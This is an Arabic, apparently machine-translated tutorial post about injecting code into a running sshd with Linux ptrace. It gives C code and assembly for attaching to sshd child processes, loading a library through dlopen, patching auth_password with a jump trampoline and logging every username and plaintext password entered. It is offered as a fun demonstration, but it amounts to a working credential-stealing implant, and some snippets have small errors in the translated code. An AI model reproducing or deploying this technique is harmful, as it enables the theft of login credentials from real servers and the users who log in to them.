مقدمة عن ptrace أو إدخال الرمز في sshd من أجل المتعة



كان الهدف الذي حددته بسيطًا جدًا: لمعرفة كلمة المرور التي تم إدخالها في sshd باستخدام ptrace. بالطبع ، هذه مهمة مصطنعة إلى حد ما ، نظرًا لوجود العديد من الطرق الأخرى الأكثر فعالية لتحقيق ما تريد (ومع احتمال أقل بكثير للحصول على SEGV ) ، ومع ذلك ، بدا الأمر رائعًا بالنسبة لي للقيام بذلك.

ما هو ptrace؟


أولئك الذين هم على دراية بالحقن على Windows ربما يعرفون الوظائف VirtualAllocEx() و WriteProcessMemory() و ReadProcessMemory() و CreateRemoteThread() . تتيح لك هذه المكالمات تخصيص الذاكرة وبدء سلاسل الرسائل في عملية أخرى. في عالم لينكس ، توفر لنا النواة ptrace ، والتي ptrace التفاعل مع عملية التشغيل.

تقدم Ptrace العديد من عمليات التصحيح المفيدة ، على سبيل المثال:

  • PTRACE_ATTACH - يسمح لك بالانضمام إلى عملية واحدة عن طريق إيقاف عملية تصحيح الأخطاء مؤقتًا
  • PTRACE_PEEKTEXT - يسمح لك بقراءة البيانات من مساحة العنوان لعملية أخرى
  • PTRACE_POKETEXT - يسمح لك بكتابة البيانات إلى مساحة العنوان لعملية أخرى
  • PTRACE_GETREGS - يقرأ الحالة الحالية لسجلات العملية
  • PTRACE_SETREGS - يسجل حالة تسجيلات العملية
  • PTRACE_CONT - متابعة تنفيذ عملية التصحيح

على الرغم من أن هذه ليست قائمة كاملة بميزات ptrace ، إلا أنني واجهت صعوبات بسبب نقص الوظائف المألوفة لي من Win32. على سبيل المثال ، في نظام التشغيل Windows ، يمكنك تخصيص ذاكرة في عملية أخرى باستخدام وظيفة VirtualAllocEx() ، والتي تقوم بإرجاع مؤشر إلى الذاكرة المخصصة حديثًا. نظرًا لأن هذا غير موجود في ptrace ، يجب عليك الارتجال إذا كنت ترغب في تضمين التعليمات البرمجية الخاصة بك في عملية أخرى.

حسنًا ، دعنا نفكر في كيفية التحكم في عملية باستخدام ptrace.

أساسيات Ptrace


أول شيء يجب علينا القيام به هو الانضمام إلى العملية التي تهمنا. للقيام بذلك ، ما عليك سوى استدعاء ptrace باستخدام المعلمة PTRACE_ATTACH:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

هذه المكالمة بسيطة مثل ازدحام حركة المرور ، فهي تقبل PID للعملية التي نريد الانضمام إليها. عند إجراء مكالمة ، يتم إرسال إشارة SIGSTOP ، مما يفرض توقف عملية الاهتمام.

بعد الانضمام ، هناك سبب لحفظ حالة جميع السجلات قبل أن نبدأ في تغيير شيء ما. سيتيح لنا ذلك استعادة البرنامج لاحقًا:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

بعد ذلك ، تحتاج إلى العثور على مكان يمكننا فيه كتابة رمزنا. أسهل طريقة هي استخراج المعلومات من ملف الخرائط ، والتي يمكن العثور عليها في procfs لكل عملية. على سبيل المثال ، يبدو "/ proc / PID / Maps" في عملية sshd قيد التشغيل على Ubuntu كما يلي:



نحن بحاجة إلى العثور على مساحة الذاكرة المخصصة مع الحق في التنفيذ (على الأرجح "r-xp"). بمجرد العثور على المنطقة التي تناسبنا ، عن طريق القياس مع السجلات ، نحفظ المحتويات ، حتى نتمكن لاحقًا من استعادة العمل بشكل صحيح:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

باستخدام ptrace ، يمكنك قراءة كلمة واحدة من بيانات الجهاز (32 بت في x86 أو 64 بت في x86_64) على العنوان المحدد ، أي لقراءة المزيد من البيانات ، تحتاج إلى إجراء عدة مكالمات ، وزيادة العنوان.

ملاحظة: في لينكس ، يوجد أيضًا process_vm_readv () و process_vm_writev () للعمل مع مساحة العنوان لعملية أخرى. ومع ذلك ، في هذه المقالة سوف تلتزم باستخدام ptrace. إذا كنت تريد القيام بشيء مختلف ، فمن الأفضل أن تقرأ عن هذه الوظائف.

الآن بعد أن قمنا بعمل نسخة احتياطية من مساحة الذاكرة التي نحبها ، يمكننا البدء في الكتابة فوق:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

مثل PTRACE_PEEKTEXT ، يمكن لهذه المكالمة تسجيل كلمة آلية واحدة فقط في كل مرة على العنوان المحدد. أيضًا ، تتطلب كتابة أكثر من كلمة آلية واحدة مكالمات كثيرة.

بعد تحميل الرمز الخاص بك ، تحتاج إلى نقل التحكم إليه. حتى لا يتم استبدال البيانات في الذاكرة (على سبيل المثال ، المكدس) ، سنستخدم السجلات المحفوظة مسبقًا:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

أخيرًا ، يمكننا متابعة التنفيذ باستخدام PTRACE_CONT:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

ولكن كيف لنا أن نعلم أن كودنا انتهى من التنفيذ؟ سنستخدم مقاطعة البرنامج ، والمعروفة أيضًا بإرشادات "int 0x03" التي تنشئ SIGTRAP. سننتظر هذا مع waitpid ():

 waitpid(pid, &status, WUNTRACED); 

waitpid () - مكالمة حظر ستنتظر حتى تتوقف العملية بمعرف PID وتكتب سبب التوقف إلى متغير الحالة. هنا ، بالمناسبة ، هناك مجموعة من وحدات الماكرو التي ستبسط الحياة في معرفة سبب التوقف.

لمعرفة ما إذا كان هناك توقف بسبب SIGTRAP (بسبب استدعاء int 0x03) ، يمكننا القيام بذلك:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

في هذه المرحلة ، تم بالفعل تنفيذ التعليمات البرمجية المضمنة لدينا وكل ما نحتاج إلى فعله هو إعادة العملية إلى حالتها الأصلية. استعادة كافة السجلات:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

ثم سنعود البيانات الأصلية في الذاكرة:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

وانقطع عن العملية:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

هذه نظرية كافية. دعنا ننتقل إلى الجزء الأكثر إثارة للاهتمام.

حقن Sshd


يجب أن أحذر من وجود فرصة لإسقاط sshd ، لذا كن حذرًا ورجاءً لا تحاول التحقق من ذلك على نظام عمل وخاصة على نظام بعيد عبر SSH: D

علاوة على ذلك ، هناك العديد من الطرق الأفضل لتحقيق نفس النتيجة ، أقوم بعرض هذه الطريقة حصريًا كطريقة ممتعة لإظهار قوة ptrace (توافق على أن هذا أفضل من الحقن في Hello World ؛)

الشيء الوحيد الذي أردت القيام به هو الحصول على تركيبة تسجيل الدخول وكلمة المرور من تشغيل sshd عندما تتم مصادقة المستخدم. عند عرض شفرة المصدر ، يمكننا رؤية شيء مثل هذا:

auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

يبدو أنه مكان رائع لمحاولة إزالة اسم المستخدم / كلمة المرور التي أرسلها المستخدم بنص واضح.

نريد العثور على توقيع دالة تسمح لنا بإيجاد [وظيفتها] في الذاكرة. أستخدم أداة التفكيك المفضلة ، radare2:



من الضروري العثور على سلسلة من وحدات البايت الفريدة والتي تحدث فقط في دالة auth_password. للقيام بذلك ، سوف نستخدم البحث في radare2:



حدث أن تسلسل xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 يلائم متطلباتنا ويوجد مرة واحدة فقط في ملف ELF بأكمله.

كملاحظة ... إذا لم يكن لديك هذا التسلسل ، فتأكد من أن لديك أحدث إصدار ، والذي يغلق أيضًا ضعف منتصف 2016. (في الإصدار 7.6 ، هذا التسلسل فريد أيضًا - تقريبًا لكل.)

الخطوة التالية هي حقن الكود.

تنزيل .so إلى sshd


لتحميل الكود الخاص بنا إلى sshd ، سنقوم بعمل كعب روتين صغير يسمح لنا باستدعاء dlopen () وتحميل مكتبة ديناميكية ستنفذ بالفعل استبدال "auth_password".

dlopen () هو استدعاء للارتباط الديناميكي ، يأخذ المسار إلى المكتبة الديناميكية في الوسيطات ويحملها في مساحة العنوان لعملية الاستدعاء. توجد هذه الوظيفة في libdl.so ، الذي يرتبط ديناميكيًا بالتطبيق.

لحسن الحظ ، في حالتنا ، تم تحميل libdl.so بالفعل في sshd ، لذا علينا فقط تنفيذ dlopen (). ومع ذلك ، بسبب ASLR ، من غير المحتمل جدًا أن يكون dlopen () في نفس المكان في كل مرة ، لذلك يجب عليك العثور على عنوانه في ذاكرة sshd.

من أجل العثور على عنوان الوظيفة ، تحتاج إلى حساب الإزاحة - الفرق بين عنوان وظيفة dlopen () وعنوان البدء libdl.so:

 unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr); 

الآن بعد أن قمنا بحساب الإزاحة ، نحتاج إلى العثور على عنوان البداية لـ libdl.so من ملف الخرائط:



بمعرفة العنوان الأساسي لـ libdl.so في sshd (0x7f0490a0d000 ، على النحو التالي من لقطة الشاشة أعلاه) ، يمكننا إضافة إزاحة والحصول على العنوان dlopen () للاتصال من رمز الحقن.

سنمرر جميع العناوين اللازمة من خلال السجلات باستخدام PTRACE_SETREGS.

من الضروري أيضًا كتابة المسار إلى المكتبة المزروعة في مساحة عنوان sshd ، على سبيل المثال:

 void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16) 

من خلال القيام بأكبر قدر ممكن أثناء إعداد الحقن وتحميل المؤشرات إلى الوسيطات مباشرة في السجلات ، يمكننا أن نجعل رمز الحقن أسهل. على سبيل المثال:

 // Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, &regs); 

أي أن إدخال الشفرة بسيط للغاية:

 ; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03 

حان الوقت لإنشاء مكتبتنا الديناميكية ، والتي سيتم تحميلها برمز الحقن.

قبل أن نمضي قدمًا ، فكر في أمر واحد مهم سيتم استخدامه ... مُنشئ المكتبة الديناميكي.

منشئ في مكتبات ديناميكية


يمكن للمكتبات الديناميكية تنفيذ التعليمات البرمجية عند التحميل. للقيام بذلك ، قم بتمييز الدالات باستخدام وحدة فك الترميز "__attribute __ ((المنشئ))". على سبيل المثال:

 #include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); } 

يمكنك النسخ باستخدام أمر بسيط:

 gcc -o test.so --shared -fPIC test.c 

ثم تحقق من الأداء:

 dlopen("./test.so", RTLD_LAZY); 

عند تحميل المكتبة ، سيتم استدعاء المنشئ أيضًا:



نستخدم هذه الوظيفة أيضًا لجعل حياتنا أسهل عند إدخال التعليمات البرمجية في مساحة العنوان لعملية أخرى.

مكتبة ديناميكية Sshd


الآن بعد أن أتيحت لنا الفرصة لتحميل مكتبتنا الديناميكية ، نحتاج إلى إنشاء رمز سيغير سلوك auth_password () في وقت التشغيل.

عند تحميل مكتبتنا الديناميكية ، يمكننا العثور على عنوان بدء sshd باستخدام ملف "/ proc / self / Maps" في procfs. نحن نبحث عن منطقة بها أذونات "rx" سنبحث فيها عن تسلسل فريد في auth_password ():

 d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } } 

نظرًا لأن لدينا مجموعة من العناوين للبحث عنها ، فإننا نبحث عن وظيفة:

 const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; } 

عندما نجد تطابقًا ، يجب عليك استخدام mprotect () لتغيير الأذونات في منطقة الذاكرة. هذا كله لأن منطقة الذاكرة قابلة للقراءة والتنفيذ ، وأذونات الكتابة مطلوبة للتغييرات أثناء التنقل:

 mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC) 

حسنًا ، لدينا الحق في الكتابة إلى منطقة الذاكرة المطلوبة ، والآن حان الوقت لإضافة نقطة انطلاق صغيرة في بداية وظيفة auth_password ، والتي ستمر بالتحكم في الخطاف:

 char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0"; 

هذا يعادل هذا الرمز:

 mov rax, 0x4142434445464748 jmp rax 

بالطبع ، العنوان 0x4142434445464748 غير مناسب لنا وسيتم استبداله بعنوان خطافتنا:

 *(unsigned long long *)((char*)jmphook+2) = &passwd_hook; 

الآن يمكننا فقط إدراج السبورة في sshd. لجعل الحقن جميلة ونظيفة ، قم بإدراج لوحة الانطلاق في بداية الوظيفة:

 // Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook)); 

الآن علينا تنفيذ خطاف للتعامل مع تسجيل تمرير البيانات. يجب أن نتأكد من أننا حفظنا جميع السجلات قبل بدء الخطاف واستعادتنا قبل العودة إلى الكود الأصلي:

رمز مصدر ربط
 // Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ... 


حسنًا ، هذا كل شيء ... بطريقة ...

لسوء الحظ ، بعد كل ما تم فعله ، هذا ليس كل شيء. حتى إذا فشل إدخال رمز sshd ، فقد تلاحظ أن كلمات مرور المستخدم التي تبحث عنها لا تزال غير متاحة. هذا يرجع إلى حقيقة أن sshd لكل اتصال يخلق طفلًا جديدًا. إنه الطفل الجديد الذي يعالج الاتصال ويجب أن نضع الخطاف فيه.

للتأكد من أننا نعمل مع أطفال sshd ، قررت فحص procfs بحثًا عن ملفات الإحصائيات التي تحدد Parent PID sshd. بمجرد العثور على هذه العملية ، يبدأ الحاقن من أجله.

هناك مزايا لذلك. إذا حدث كل شيء بشكل خاطئ وانخفض حقن الرمز من SIGSEGV ، فسيتم قتل عملية مستخدم واحد فقط ، وليس عملية sshd الأصلية. ليس هذا أكبر عزاء ، ولكن من الواضح أنه يجعل تصحيح الأخطاء أسهل.

الحقن في العمل


حسنًا ، دعنا نرى العرض التوضيحي:



يمكن العثور على الرمز الكامل هنا .

آمل أن تكون هذه الرحلة قد أعطاك معلومات كافية لخداع نفسك.

أود أن أشكر الأشخاص والمواقع التالية التي ساعدت في التعامل مع ptrace:

Source: https://habr.com/ru/post/ar430302/


All Articles